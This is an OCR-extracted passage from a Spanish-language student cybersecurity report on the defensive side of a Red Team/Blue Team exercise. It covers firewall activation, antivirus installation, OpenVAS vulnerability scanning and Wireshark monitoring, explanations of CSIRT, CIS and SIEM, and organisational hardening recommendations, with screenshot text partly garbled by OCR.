Adicionalmente verificar el estado del equipo que pertenece a la red y comprobar el
estado del firewall y demas medidas de seguridad como el Windows Update.
llustracién 23.

llustracion 23 Verificacion de medidas de seguridad en el equipo atacado.

=N =)

G\J [+ Panel de control » Todes los slementas de Panel de contral » Centro de actividades =] %3 |[ Buscaren el Panel de contra p

Ve | ded Panel d [E

Yenara princpaldelPanelde pavisar mensajes recientes y resolver problemas

Be idades detects a evisae,
Cambiar configuracdn del
= d
Seguridad v

Ver infarmacidn de o esti actuaizads.
B e proteccion contra spywarey oires  Obtener otre progeama anti spyware en

entas de usuano
Ver mensajes archivados I Proteccidn contra spyware y software no deseads (Importante) [

Buscar un programs en linea
s en este equipo. L '

tivirs

Windowes Update (mportante)
Par s seguridad y el rendimiento del equips, e recomendamos | Cambiar configuracién...

s Firewallde red (importante) r ,
. 5 Activae ahora

opias de sequid & Frew o configurade J
restaurscicn

Desactivar manssjes sobre frewal de red Ottanarctro program de Frewall an
Windows Update
Solucionsdor de problemas de
compatibiida de programas i )
e Vimdows Windorws Defender debe examinar e equipo

§ § X [ Analizss ahora
i g equipo.

B -0 @& TR

Fuente: Autor
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Verificar el estado de seguridad de los equipos de red, en este caso utilizar por
ejemplo OPEN VAS para realizar el monitoreo de vulnerabilidades y amenazas del
sistema. llustracion 24.

llustracion 24 Verificacion de las vulnerabilidades en el equipo.

Tass by Severity Claes (ota 2
]
Gy Crostionime T oy Soverity Cless (Ttal 95650)

- Log
High

- Low

™ Medium

Fuente: Autor

Con base en el analisis del OPENVAS realizaria la mitigacion de las amenazas mas
apremiantes y disminuiria la vulnerabilidad del sistema.

2. ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team qué

medidas de hardenizacion propondria para que el ataque no se repita?

Activar el firewall del equipo. llustracion 25.
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llustracion 25 Activacion del Firewall en el equipo atacado.

[=lle =
@Ov\ﬂ » Panel de control » Todes los clementos de Panel de control » Firewall de Windows

= [ ¢ |[ Buscaren i Panel 2|
Ventana principal del Panel de . . . L
control F Ayude a proteger su equipo con Firewall de Windows
Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al equipo a
Permitir un programa o una !
o e través de Internet o de una red.
caracteristica a través de
Firewall de Windows ¢Cémo me ayuda un firewall a proteger mi equipo?
& Cambiar la configuracion de ¢Qué son las ubicaciones de red?
notificaciones = a -
st j i No conectado (¥)
e i ceecirvar et o . @ Redes domeésticas o de trabajo (privadas) &)
Windows ; =
. @ Redes publicas Conectado (&)
%) Restaurar valores -

predeterminados ) .
Redes en lugares piblicos como aeropuertos o cafeterias

& Configuracion avanzada

Solucién de problemas de red Estado de Firewall de Windows: Activado
Conexicnes entrantes: Bloquear todas las conexiones a los programas que

no estén en la lista de programas permitidos

Redes publicas activas: = Red 3

Estado de notificacién: Notificarme cuando Firewall de Windows bloquee un

nuevo programa

Vea también
Centro de actividades

Centro de redes y recursos
compartidos

B - O e =]

Fuente: Autor

Instalacion de antivirus en el equipo. llustracion 26.

llustracion 26 Instalacion antivirus.

Ocultar

Instalando
Avast Free Antivirus...

No apague ¢

1038pm. |
14/03/202

& (D) 3 )

Fuente: Autor

Con estos pasos el equipo estara mucho mas protegido ante ataques basicos.
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Adicionalmente se debe monitorear la red para verificar que no se estén realizando
accesos indeseados, para tal fin se utiliza la herramienta Wireshark. llustracion 27.

llustracion 27 Verificacion de accesos indeseados con WirkeShark.

BEmmPori-|" 2

& Capturing from eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® +t BRE 2 « > n « » K o e o [

Source Destination Protocol Length Info
2111.044763132 fe80::a@0:27ff:fe95. fe80::6e63:9cff:Ted.. ICMPVE 78 Neighbor Advertisement)
22 12.006097276 Te80::6e63:9cff:fed. ffoz::1 ICMPVE 150 Router Advertisement
2312.021292504 fe80::a00:27ff:fe95. ffo2::16 ICMPVE 116 Multicast Listener Ref]

25 12.716376414 fe80::a00:27ff:fe95. ffe2::16 ICMPVE 110 Multicast Listener Req
26 12.809199138 192.168.0.5 224.0.0.251 MDNS 136 Standard query 0x000a
27 12.869186143 .168.0.3 255.255.255.255 UDP 60 3312 - 3311 Len=14

28 13.712119848 i i ICMPVE 96 Multicast Listener Ref

: <live capture in progress> Packets: 28 - Displayed: 28 (100.0%) | Profile: Default

Fuente: Autor

Con Wireshark se puede monitorear la transmision de datos dentro de nuestra red
y si alguno de estos presenta algun error o intercepcién, para tal fin Wireshark
presenta un codigo de colores que se puede verificar al seleccionar View-> Coloring
rules. llustracion 28.
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llustracion 28 Reglas de color de Wireshark.

Sir
Capture Analyze Statistics Telephony Wireless Tools Help

AODA® + @ = Wireshark - Coloring Rules Default
(R[Applya display filter.. <€ Name Filter
No. Time Bad TCP tep.analysis.fla p.analysis.w
v HSRP State Change hsrp.stats && hsrp.state 1=16
EEPECIRLEIyasPs: v Spanning Tree Topology Change stp.typs

EECPECIPPELLEAYE| ' OSPF State Change

559 22006948962 c

561 222.11105937:
562 222126685004 tcp.flags.reseteq1
v SCTPABORT sctp.chunk_type eq ABORT
¥ TTLlow orunexpected (Vip.dst ==224.0.0.0/4 && ip.ttl <5 && pim && los

t " |lip.ch
smb || nbss || nbns || netbios

http || tep.port == 80 || http2

deerpc

hsrp || eigrp || ospf || bap [| ¢dp [l vrrp || carp || gvrp ||
tep.flags & 0x02 fin==1

tep

udp

M System Event systemd_journal || sysdig

Double click to edit. Drag te move. Rules are processed in order until a match is found.
+ -2 8
OK | Copyfrom- Cancel  Import... Export... Help

00 00 )0 01 01

® L etho: <live capture in progress> Packets: 564.- Displayed: 564 (100.0%) | Profile: Default

Fuente: Autor

Dentro de estas, las mas importantes son, los colores rojos y amarillo, ante estas
alertas se debe estar pendiente de la conexion y monitorear detalladamente.

Adicionalmente se recomienda correr diagnosticos programados con OpenVas para
detectar vulnerabilidades y amenazas que puedan ser minimizadas. llustracién 29.
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llustracion 29 Verificacién de vulnerabilidades con OpenVas.

oo aalidac

Tasks by Severity Class (Total: 5) Tasks by Status (Total: 5)

E] o]
v

CVES by Creation Time

NVTs by Severity Class (Total: 95690)

Fuente: Autor

3. ¢, Describa con sus palabras las diferencias entre un equipo Blueteam y un equipo
de respuesta a incidentes informaticos?

Un equipo de respuesta a incidentes informéaticos (CISRT) por sus siglas en inglés,
es un equipo que se encarga de impedir que un ataque informatico se extienda y
cause mas dafios de los que puede realizar, normalmente se conforma por un
equipo variado de varias dependencias, que busca minimizar no solo los dafos
internos del ataque sino también los externos, por lo que es normal que hagan parte
del equipo lideres de recursos humanos o del area de mercadeo.

Un Blueteam al contrario es un equipo encargado de monitorear y fortalecer la
seguridad informética de la organizacion constantemente, analizando
vulnerabilidades y endureciendo los sistemas informéticos para minimizar las
afectaciones, a diferencia del CISRT este se centra solo en los activos informaticos
de la organizacion.

4. ; Si dentro de un equipo Blueteam le indican que debe trabajar con CIS “Center
For Internet Security” usted lo utilizaria para qué fin?
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El CIS (Center for Internet Security por sus siglas en inglés) es una organizacion sin
animo de lucro que se encarga de emitir lineamientos y mejores practicas para
establecer un estandar de seguridad informatica en las organizaciones.

Para tal fin lo utilizaria como un marco de referencia de buenas practicas a ser
implementadas en mi organizacion, esto me permitiria tener una guia desarrollada
por expertos mundiales en ciberseguridad, lo que garantizaria que mi organizacion
esta protegida ante posibles ataques informéaticos, adicionalmente estas buenas
practicas y frameworks son completamente gratuitos para ser descargados, lo que
disminuye costos de implementacion.

5. Explique y redacte las funciones y caracteristicas principales de lo que es un
SIEM.

SIEM significa Seguridad, Informacion y Manejo de Eventos (Security, Information
and Event Management), este software permite monitorear constantemente los
activos informaticos para identificar posibles amenazas, principalmente permite
guardar en un log las actividades y eventos que producen las aplicaciones, equipos,
redes, infraestructura y sistemas para ser analizados y poder obtener una vision
general de los activos informéaticos.

Principalmente un SIEM se compone de los siguientes sistemas:

e Log management systems (LMS): El Sistema de administracién de registros
permite el procesamiento y administracion centralizada de los logs de los
activos informaticos.

e Security information management (SIM): EI Administrador de la seguridad de
informacion, ofrece herramientas para automatizar la recoleccion de registros
con un almacenamiento a largo plazo, su respectivo analisis y reporte de los
datos almacenados.

e Security event management (SEM): ElI Administrador de eventos de
seguridad permite monitorear en tiempo real los diferentes sistemas y
eventos con notificaciones y vistas de consolas.

Estos tres sistemas permiten contar con una vision holistica de los activos, lo que
permite analizar la informacion brindada para poder detectar cambios en
configuraciones de los diferentes sistemas que podrian significar un rompimiento de
las protecciones de seguridad informatica.
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6. Defina por lo menos 3 herramientas de contencién de ataques informaticos
“hardware o software”, recuerde que las herramientas de contencion son diferentes
a las herramientas de deteccion.

OSSEC: Es un sistema de deteccion de intrusos OpenSource que permite identificar
varios puntos de informacién para detectar posibles amenazas, entre las que se
encuentran Rootkits, Malware, Usuarios no identificados en la red, cambios de
archivos de sistema e informacion de los activos, entre otras, lo que permite manejar
toda la infraestructura para monitorear su comportamiento y estar alerta ante
posibles fallas o0 amenazas.

SNORT: Es otro sistema de deteccion de intrusos, pero enfocado a la red, este
sistema analiza los paquetes transmitidos y cuando detecta incongruencias genera
una alerta que permite identificar posibles atacantes.

OPENWIPS: Este sistema de deteccion de intrusos para sistemas inalambricos,
crea equipos virtuales que capturan informacién y sirven como puntos de referencia
para detectar posibles intrusos a través de la red inalambrica, dicha informacion
luego es analizada por el servidor y de esta manera genera alertas y respuestas
ante los ataques.

5.5.ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM.

Teniendo en cuenta que la estrategia RedTeam & BlueTeam corresponde en la
creacién de equipos que se encarguen de probar las defensas de la estructura
informética de una organizacion, se debe contar con una capacitacion constante en
nuevas tecnologias y metodologias, asi como contar con un equipo preparado para
afrontar nuevos retos.

En su articulo “Red team versus blue team: How to run an effective simulation”,
David Strom enuncia varias caracteristicas que deben cumplir los ejercicios Red vs
Blue Team, principalmente en temas que no son técnicos y que normalmente son
pasados por alto:

e Decidir qué tan realista sera el ejercicio: Teniendo en cuenta que estos
ejercicios normalmente no se realizan en sistemas en produccién, se hace
necesario contar con réplicas que permitan simular el estado actual de la
organizacion.
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Especificar las metas: Cuando no se tienen definidos claramente los
objetivos, se pueden pasar por alto metas que pueden determinar claramente
falencias en el sistema que pueden no ser detectadas porque no se
establecié desde el comienzo.

Decidir como recolectar la informacién y el analisis posterior: Teniendo en
cuenta que el trabajo remoto se ha implementado ampliamente y que estos
equipos pueden ser de diferentes paises o0 lenguas, se hace necesario
establecer reglas claras para la transmision de informacién y la
comunicacion.

Escoger el periodo de tiempo: La idea con esto es que no se hagan los
ejercicios Unicamente como reaccion ante un incidente, sino que
constantemente se estén realizando para probar adecuadamente las
capacidades del sistema y de esta manera poder hacer las correcciones
necesarias para su mejora.

5.6.RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS

QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN
UNA ORGANIZACION.

Con el fin de endurecer los aspectos de seguridad en una organizacion, se
recomienda fortalecer los siguientes temas:

La proteccion de los datos personales y restringidos debe ser una prioridad
en la organizacion, estos solo deben ser accedidos por el personal autorizado
bajo condicione permitidas, se debe establecer el principio del privilegio
minimo, donde se le den a los usuarios el acceso minimo permitido para
realizar sus funciones.

La proteccion de los diferentes dispositivos de la organizacion también debe
ser una prioridad, los mismos deben contar con las medidas basicas de
seguridad, contrasefia y si se puede autenticacion en dos pasos.
Adicionalmente con el trabajo remoto se le deben brindar herramientas a los
empleados para que aseguren los dispositivos del hogar o personales donde
se almacene o manipule informacién de la organizacién, tables, smartphones
y portatiles, implementar una VPN para conectarse a los servicios de la
empresa es algo que se debe implementar.

Establecer protocolos y politicas para actuar en el momento en el que se
materialice alguna vulnerabilidad, para que de esta manera se tenga claro el
paso a paso a seguir si llegan a ocurrir.
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Con el fin de evitar incidentes de espionaje o robo de informacion, los
empleados nuevos deben pasar un periodo de prueba antes de tener acceso
a informacion confidencial o importante de la empresa mas alla de sus
funciones.

Participacion de los directivos: Los directivos deben estar muy alineados con
este enfoque de proteccidn y brindar el presupuesto suficiente y los espacios
para concientizar a todos los niveles de la importancia de la seguridad
informatica.

Capacitacion del equipo de seguridad: Los ataques informaticos siempre se
encuentran en evolucion y cada dia se generan nuevas vulnerabilidades que
afectan los sistemas, para tal fin se hace necesario que el equipo de
seguridad se encuentre constantemente actualizado ante estas
vulnerabilidades.

Capacitacion a los usuarios: Una de las principales vulnerabilidades con las
gue cuentan las organizaciones son los usuarios, ningun Blue Team puede
defender contra la descarga y ejecucién de un archivo con un virus, o si se
copia informacion privilegiada y esta se almacena en dispositivos no seguros,
por tal motivo los usuarios deben ser capacitados en aspectos béasicos de
seguridad informética, esto con el fin de que ellos se conviertan en la primera
linea de defensa ante un posible ataque informatico.

Implementaciéon de un SIEM en la organizacién: Los SIEM permiten generar
un monitoreo constante de los activos informaticos, por lo que su
implementacion brindara una capa extra que automaticamente permitira
reconocer las intrusiones, por lo que es importante su implementacion para
mejorar las capacidades de defensa de una organizacion.

5.7.CONCLUSIONES QUE PERMITAN LA CONSTRUCCION DEL

CONOCIMIENTO DESDE EL ENFOQUE DE LA CIBERSEGURIDAD.

Ya sea que participemos en equipo BlueTeam o RedTeam es indispensable conocer
las Leyes que rigen la seguridad informatica del pais donde trabajemos.

También se deben conocer las herramientas que se utilizaran, principalmente el Kali
Linux es nuestra navaja suiza que nos permitird desarrollar las actividades con
precision y eficiencia.

Existen una gran cantidad de herramientas utilizadas en el pentesting, conocerlas a
fondo es una necesidad para cualquier profesional que quiera desarrollar sus
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conocimientos, sin embargo, las mas fundamentales y con las que se pueden
desarrollar muchas actividades son Nmap, Metasploit y OpenVas.

Adicionalmente se hace necesario tener un buen manejo de la documentacion, ya
que esta es fundamental durante todas las etapas, especialmente en la de analisis
y reporte, por lo que manejar un buen nivel de redaccion es vital para el desarrollo
de las tareas.

Adicionalmente, el trabajo en equipo es necesario en todas las actividades del
BlueTeam o RedTeam, por lo que debemos cultivar las habilidades de
comunicacion, empatia y tolerancia.

5.8.VIDEO DE LA SUSTENTACION

Video
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https://youtu.be/B9W866_fP3c

6. CONCLUSIONES

La proteccidon ante vulnerabilidades permite mitigar posibles riesgos que se
pueden prevenir con medidas basicas de proteccion.

Es necesario realizar un monitoreo constante de los diferentes puntos de
acceso de la red con el fin de impedir el acceso a usuarios no autorizados
gue puedan afectar los sistemas.

Existen herramientas béasicas de los sistemas operativos que permiten
proteger de manera adecuada los computadores de la red.

El control de intrusos es necesario para poder contar con herramientas
automatizadas que reaccionen ante intento de ingresos no autorizados, lo
gue remueve el factor humano en el seguimiento de la red.

El establecimiento de equipos BlueTeam & RedTeam permiten a una
organizacion estar protegida eficientemente ante posibles ataques
informéticos.

La protecciébn ante ataques informaticos es de vital importancia en el
momento en que vivimos, ya que la informacion se convirtié en el activo mas
importante de las organizaciones.
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